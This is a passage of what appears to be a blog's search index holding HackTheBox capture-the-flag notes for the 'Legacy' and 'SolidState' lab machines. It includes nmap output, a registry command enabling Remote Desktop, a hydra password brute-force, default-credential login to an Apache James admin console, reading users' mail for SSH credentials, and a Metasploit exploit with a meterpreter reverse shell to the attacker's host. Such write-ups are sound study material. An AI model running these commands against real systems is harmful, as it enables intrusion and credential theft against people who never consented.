class=\"n\"\u003emicrosoft\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003ewindows_xp\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eHost\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003escript\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eresults\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e|\u003c/span\u003e\u003cspan class=\"n\"\u003e_clock\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003eskew\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emean\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e5\u003c/span\u003e\u003cspan class=\"n\"\u003ed00h30m01s\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edeviation\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"n\"\u003eh07m16s\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emedian\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e4\u003c/span\u003e\u003cspan class=\"n\"\u003ed23h00m01s\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e|\u003c/span\u003e\u003cspan class=\"n\"\u003e_nbstat\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eNetBIOS\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ename\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eLEGACY\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eNetBIOS\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003euser\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"k\"\u003eunknown\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eNetBIOS\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eMAC\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e00\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e50\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e56\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003eb9\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003eb1\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e37\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eVMware\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e|\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003esmb\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003eos\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003ediscovery\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e|\u003c/span\u003e\u003cspan class=\"w\"\u003e   \u003c/span\u003e\u003cspan class=\"n\"\u003eOS\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eWindows\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eXP\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eWindows\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e2000\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eLAN\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eManager\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e|\u003c/span\u003e\u003cspan class=\"w\"\u003e   \u003c/span\u003e\u003cspan class=\"n\"\u003eOS\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eCPE\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecpe\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003eo\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003emicrosoft\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003ewindows_xp\u003c/span\u003e\u003cspan class=\"p\"\u003e::\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e|\u003c/span\u003e\u003cspan class=\"w\"\u003e   \u003c/span\u003e\u003cspan class=\"n\"\u003eComputer\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ename\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003elegacy\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e|\u003c/span\u003e\u003cspan class=\"w\"\u003e   \u003c/span\u003e\u003cspan class=\"n\"\u003eNetBIOS\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecomputer\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ename\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eLEGACY\u003c/span\u003e\u003cspan class=\"err\"\u003e\\\u003c/span\u003e\u003cspan class=\"n\"\u003ex00\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e|\u003c/span\u003e\u003cspan class=\"w\"\u003e   \u003c/span\u003e\u003cspan class=\"n\"\u003eWorkgroup\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eHTB\u003c/span\u003e\u003cspan class=\"err\"\u003e\\\u003c/span\u003e\u003cspan class=\"n\"\u003ex00\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e|\u003c/span\u003e\u003cspan class=\"n\"\u003e_\u003c/span\u003e\u003cspan class=\"w\"\u003e  \u003c/span\u003e\u003cspan class=\"k\"\u003eSystem\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etime\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e2020\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"mi\"\u003e05\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"mi\"\u003e23\u003c/span\u003e\u003cspan class=\"n\"\u003eT20\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e26\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e09\u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"mi\"\u003e03\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e00\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e|\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003esmb\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"k\"\u003esecurity\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"k\"\u003emode\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e|\u003c/span\u003e\u003cspan class=\"w\"\u003e   \u003c/span\u003e\u003cspan class=\"n\"\u003eaccount_used\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eguest\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e|\u003c/span\u003e\u003cspan class=\"w\"\u003e   \u003c/span\u003e\u003cspan class=\"n\"\u003eauthentication_level\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003euser\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e|\u003c/span\u003e\u003cspan class=\"w\"\u003e   \u003c/span\u003e\u003cspan class=\"n\"\u003echallenge_response\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003esupported\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e|\u003c/span\u003e\u003cspan class=\"n\"\u003e_\u003c/span\u003e\u003cspan class=\"w\"\u003e  \u003c/span\u003e\u003cspan class=\"n\"\u003emessage_signing\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edisabled\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edangerous\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebut\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003edefault\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e|\u003c/span\u003e\u003cspan class=\"n\"\u003e_smb2\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003etime\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eProtocol\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003enegotiation\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efailed\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eSMB2\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eREG ADD HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f\u003c/p\u003e","title":"HackTheBox: Legacy Notes"},{"content":"10.10.10.51\nInformation Gathering Nmap A rough scan revealed quite a few ports,\n# nmap 10.10.10.51 Nmap scan report for 10.10.10.51 Host is up (1.0s latency). Not shown: 995 closed ports PORT STATE SERVICE 22/tcp open ssh 25/tcp open smtp 80/tcp open http 110/tcp open pop3 119/tcp open nntp # Full port scan ## Nmap scan report for 10.10.10.51 Host is up (4.8s latency). Not shown: 64192 closed ports, 1337 filtered ports PORT STATE SERVICE VERSION 22/tcp open tcpwrapped | ssh-hostkey: | 2048 77:00:84:f5:78:b9:c7:d3:54:cf:71:2e:0d:52:6d:8b (RSA) | 256 78:b8:3a:f6:60:19:06:91:f5:53:92:1d:3f:48:ed:53 (ECDSA) |_ 256 e4:45:e9:ed:07:4d:73:69:43:5a:12:70:9d:c4:af:76 (ED25519) 25/tcp open tcpwrapped |_smtp-commands: solidstate Hello nmap.scanme.org (10.10.16.122 [10.10.16.122]), 80/tcp open tcpwrapped |_http-server-header: Apache/2.4.25 (Debian) |_http-title: Home - Solid State Security 110/tcp open tcpwrapped 119/tcp open tcpwrapped 4555/tcp open tcpwrapped Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 1134.71 seconds An email address was found on the homepage, so let\u0026rsquo;s try brute-forcing it\nwebadmin@solid-state-security.com Tried brute-forcing POP3 with rockyou.txt and fasttrack.txt, no luck\n# hydra -l webadmin -P /usr/share/wordlists/rockyou.txt solid-state-security.com pop3 -v Hydra v8.9.1 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes. Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-05-07 17:35:14 [INFO] several providers have implemented cracking protection, check with a small wordlist first - and stay legal! [WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore [DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task [DATA] attacking pop3://solid-state-security.com:110/ [VERBOSE] Resolving addresses ... [VERBOSE] resolving done [VERBOSE] CAPABILITY: -ERR[VERBOSE] using POP3 CLEAR LOGIN mechanism [ERROR] Not an POP3 protocol or service shutdown: (null) [ERROR] Not an POP3 protocol or service shutdown: (null) [VERBOSE] Retrying connection for child 5 [VERBOSE] Retrying connection for child 9 [ERROR] Not an POP3 protocol or service shutdown: (null) [ERROR] Not an POP3 protocol or service shutdown: (null) [ERROR] Not an POP3 protocol or service shutdown: (null) [ERROR] Not an POP3 protocol or service shutdown: (null) [ERROR] Not an POP3 protocol or service shutdown: (null) [ERROR] Not an POP3 protocol or service shutdown: (null) [VERBOSE] Retrying connection for child 2 [VERBOSE] Retrying connection for child 7 [VERBOSE] Retrying connection for child 12 [VERBOSE] Retrying connection for child 13 [STATUS] 502.00 tries/min, 502 tries in 00:01h, 14343899 to do in 476:14h, 16 active [STATUS] 651.67 tries/min, 1955 tries in 00:03h, 14342446 to do in 366:49h, 16 active ^[[A^[[B^[[C^[[C^C[ERROR] Received signal 2, going down ... ^CThe session file ./hydra.restore was written. Type \u0026#34;hydra -R\u0026#34; to resume session. # # hydra -l webadmin -P /usr/share/wordlists/fasttrack.txt solid-state-security.com pop3 -v Later the full-port scan results came out too, revealing port 4555; a search turned up an RCE\n# searchsploit james 2.3 -------------------------------- ---------------------------------------- Exploit Title | Path | (/usr/share/exploitdb/) -------------------------------- ---------------------------------------- Apache James Server 2.3.2 - Remote Command Execution | exploits/linux/remote/35513.py ----------------------------------------------------------- ------------ The default credentials are root-root, but no reverse shell\nJust connect with nc, after half an hour of trying, I found that telnet is required to log in (to be able to interact)\nJAMES Admin Tool # nc 10.10.10.51 4555 JAMES Remote Administration Tool 2.3.2 Please enter your login and password Login id: root Password: root Welcome root. HELP for a list of commands # help Currently implemented commands: help display this help listusers display existing accounts countusers display the number of existing accounts adduser [username] [password] add a new user verify [username] verify if specified user exist deluser [username] delete existing user setpassword [username] [password] sets a user\u0026#39;s password setalias [user] [alias] locally forwards all email for \u0026#39;user\u0026#39; to \u0026#39;alias\u0026#39; showalias [username] shows a user\u0026#39;s current email alias unsetalias [user] unsets an alias for \u0026#39;user\u0026#39; setforwarding [username] [emailaddress] forwards a user\u0026#39;s email to another email address showforwarding [username] shows a user\u0026#39;s current email forwarding unsetforwarding [username] removes a forward user [repositoryname] change to another user repository shutdown kills the current JVM (convenient when James is run as a daemon) quit close connection # listusers Existing accounts 6 user: james user: ../../../../../../../../etc/bash_completion.d user: thomas user: john user: mindy user: mailadmin After changing the passwords of the users above on port 4445, log in to POP3\nGetting user john\u0026rsquo;s mailbox # root@localhost:~/HTB/solidstate# telnet 10.10.10.51 110 Trying 10.10.10.51... Connected to 10.10.10.51. Escape character is \u0026#39;^]\u0026#39;. +OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready # user john +OK # pass john +OK Welcome john # list +OK 1 743 1 743 . # retr 1 +OK Message follows Return-Path: \u0026lt;mailadmin@localhost\u0026gt; Message-ID: \u0026lt;9564574.1.1503422198108.JavaMail.root@solidstate\u0026gt; MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Delivered-To: john@localhost Received: from 192.168.11.142 ([192.168.11.142]) by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 581 for \u0026lt;john@localhost\u0026gt;; Tue, 22 Aug 2017 13:16:20 -0400 (EDT) Date: Tue, 22 Aug 2017 13:16:20 -0400 (EDT) From: mailadmin@localhost Subject: New Hires access John, Can you please restrict mindy\u0026#39;s access until she gets read on to the program. Also make sure that you send her a tempory password to login to her accounts. Thank you in advance. Respectfully, James . In short, a default password was sent to someone named mindy\nmindy\u0026rsquo;s mailbox # telnet 10.10.10.51 110 Trying 10.10.10.51... Connected to 10.10.10.51. Escape character is \u0026#39;^]\u0026#39;. +OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready # user mindy +OK # pass mindy +OK Welcome mindy # list +OK 2 1945 1 1109 2 836 . # retr -ERR Usage: RETR [mail number] # retr 1 +OK Message follows Return-Path: \u0026lt;mailadmin@localhost\u0026gt; Message-ID: \u0026lt;5420213.0.1503422039826.JavaMail.root@solidstate\u0026gt; MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Delivered-To: mindy@localhost Received: from 192.168.11.142 ([192.168.11.142]) by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 798 for \u0026lt;mindy@localhost\u0026gt;; Tue, 22 Aug 2017 13:13:42 -0400 (EDT) Date: Tue, 22 Aug 2017 13:13:42 -0400 (EDT) From: mailadmin@localhost Subject: Welcome Dear Mindy, Welcome to Solid State Security Cyber team! We are delighted you are joining us as a junior defense analyst. Your role is critical in fulfilling the mission of our orginzation. The enclosed information is designed to serve as an introduction to Cyber Security and provide resources that will help you make a smooth transition into your new role. The Cyber team is here to support your transition so, please know that you can call on any of us to assist you. We are looking forward to you joining our team and your success at Solid State Security. Respectfully, James . # retr 2 +OK Message follows Return-Path: \u0026lt;mailadmin@localhost\u0026gt; Message-ID: \u0026lt;16744123.2.1503422270399.JavaMail.root@solidstate\u0026gt; MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Delivered-To: mindy@localhost Received: from 192.168.11.142 ([192.168.11.142]) by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 581 for \u0026lt;mindy@localhost\u0026gt;; Tue, 22 Aug 2017 13:17:28 -0400 (EDT) Date: Tue, 22 Aug 2017 13:17:28 -0400 (EDT) From: mailadmin@localhost Subject: Your Access Dear Mindy, Here are your ssh credentials to access the system. Remember to reset your password after your first login. Your access is restricted at the moment, feel free to ask your supervisor to add any commands you need to your path. username: mindy pass: P@55W0rd1!2@ Respectfully, James Nice — got user access directly\nmsf5 exploit(linux/smtp/apache_james_exec) \u0026gt; handler -H 10.10.16.122 -P 4443 -p linux/x86/meterpreter/reverse_tcp msf5 exploit(linux/smtp/apache_james_exec) \u0026gt; exploit -j [*] Exploit running as background job 6. [*] Exploit completed, but no session was created. [*] Started reverse TCP handler on 10.10.16.122:4444 msf5 exploit(linux/smtp/apache_james_exec) \u0026gt; [*] Sending stage (989416 bytes) to 10.10.10.51 [*] 10.10.10.51:25 - Command Stager progress - 100.00% done (773/773 bytes) [*] 10.10.10.51:25 - Waiting for cron to execute payload... [*] Meterpreter session 3 opened (10.10.16.122:4444 -\u0026gt; 10.10.10.51:42336) at 2020-05-07 20:54:27 +0000 msf5 exploit(linux/smtp/apache_james_exec) \u0026gt; sessions -l Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 3 meterpreter x86/linux 10.10.16.122:4444 -\u0026gt; 10.10.10.51:42336 (10.10.10.51) msf5 exploit(linux/smtp/apache_james_exec) \u0026gt; sessions 3 [*] Starting interaction with 3... meterpreter \u0026gt; shell Process 1962 created. Channel 1 created. whoami mindy id uid=1001(mindy) gid=1001(mindy) groups=1001(mindy) The Wrong Path After logging in via SSH, I ran linpeas.sh for local enumeration and found a web service on port 631\nProto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN - Took a look with curl, felt promising: cups 2.2.1\n# curl 127.0.0.1:631 % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 2362 \u0026lt;!DOCTYPE HTML\u0026gt; 0 0 0 --:--:-- --:--:-- --:--:-- 0 \u0026lt;html\u0026gt; \u0026lt;head\u0026gt; ... \u0026lt;title\u0026gt;Home - CUPS 2.2.1\u0026lt;/title\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;div class=\u0026#34;header\u0026#34;\u0026gt; \u0026lt;ul\u0026gt; \u0026lt;li\u0026gt;\u0026lt;a href=\u0026#34;http://www.cups.org/\u0026#34; target=\u0026#34;_blank\u0026#34;\u0026gt;CUPS.org\u0026lt;/a\u0026gt;\u0026lt;/li\u0026gt; \u0026lt;li\u0026gt;\u0026lt;a class=\u0026#34;active\u0026#34; href=\u0026#34;/\u0026#34;\u0026gt;Home\u0026lt;/a\u0026gt;\u0026lt;/li\u0026gt; \u0026lt;li\u0026gt;\u0026lt;a href=\u0026#34;/admin\u0026#34;\u0026gt;Administration\u0026lt;/a\u0026gt;\u0026lt;/li\u0026gt; \u0026lt;li\u0026gt;\u0026lt;a href=\u0026#34;/classes/\u0026#34;\u0026gt;Classes\u0026lt;/a\u0026gt;\u0026lt;/li\u0026gt; \u0026lt;li\u0026gt;\u0026lt;a href=\u0026#34;/help/\u0026#34;\u0026gt;Help\u0026lt;/a\u0026gt;\u0026lt;/li\u0026gt; \u0026lt;li\u0026gt;\u0026lt;a href=\u0026#34;/jobs/\u0026#34;\u0026gt;Jobs\u0026lt;/a\u0026gt;\u0026lt;/li\u0026gt; \u0026lt;li\u0026gt;\u0026lt;a href=\u0026#34;/printers/\u0026#34;\u0026gt;Printers\u0026lt;/a\u0026gt;\u0026lt;/li\u0026gt; \u0026lt;/ul\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;body\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;row\u0026#34;\u0026gt; \u0026lt;h1\u0026gt;CUPS 2.2.1\u0026lt;/h1\u0026gt; \u0026lt;p\u0026gt;CUPS is the standards-based, open source printing system developed by \u0026lt;a href=\u0026#34;http://www.apple.com/\u0026#34;\u0026gt;Apple Inc.\u0026lt;/a\u0026gt; for macOS\u0026lt;sup\u0026gt;\u0026amp;reg;\u0026lt;/sup\u0026gt; and other UNIX\u0026lt;sup\u0026gt;\u0026amp;reg;\u0026lt;/sup\u0026gt;-like operating systems.\u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;row\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;thirds\u0026#34;\u0026gt; \u0026lt;h2\u0026gt;CUPS for Users\u0026lt;/h2\u0026gt; \u0026lt;p\u0026gt;\u0026lt;a href=\u0026#34;help/overview.html\u0026#34;\u0026gt;Overview of CUPS\u0026lt;/a\u0026gt;\u0026lt;/p\u0026gt; \u0026lt;p\u0026gt;\u0026lt;a href=\u0026#34;help/options.html\u0026#34;\u0026gt;Command-Line Printing and Options\u0026lt;/a\u0026gt;\u0026lt;/p\u0026gt; \u0026lt;p\u0026gt;\u0026lt;a href=\u0026#34;http://www.cups.org/lists.php?LIST=cups\u0026#34;\u0026gt;User Forum\u0026lt;/a\u0026gt;\u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;thirds\u0026#34;\u0026gt; \u0026lt;h2\u0026gt;CUPS for Administrators\u0026lt;/h2\u0026gt; \u0026lt;p\u0026gt;\u0026lt;a href=\u0026#34;admin\u0026#34;\u0026gt;Adding Printers and Classes\u0026lt;/a\u0026gt;\u0026lt;/p\u0026gt; \u0026lt;p\u0026gt;\u0026lt;a href=\u0026#34;help/policies.html\u0026#34;\u0026gt;Managing Operation Policies\u0026lt;/a\u0026gt;\u0026lt;/p\u0026gt; \u0026lt;p\u0026gt;\u0026lt;a href=\u0026#34;help/network.html\u0026#34;\u0026gt;Using Network Printers\u0026lt;/a\u0026gt;\u0026lt;/p\u0026gt; \u0026lt;p\u0026gt;\u0026lt;a href=\u0026#34;help/man-cupsd.conf.html\u0026#34;\u0026gt;cupsd.conf Reference\u0026lt;/a\u0026gt;\u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;thirds\u0026#34;\u0026gt; \u0026lt;h2\u0026gt;CUPS for 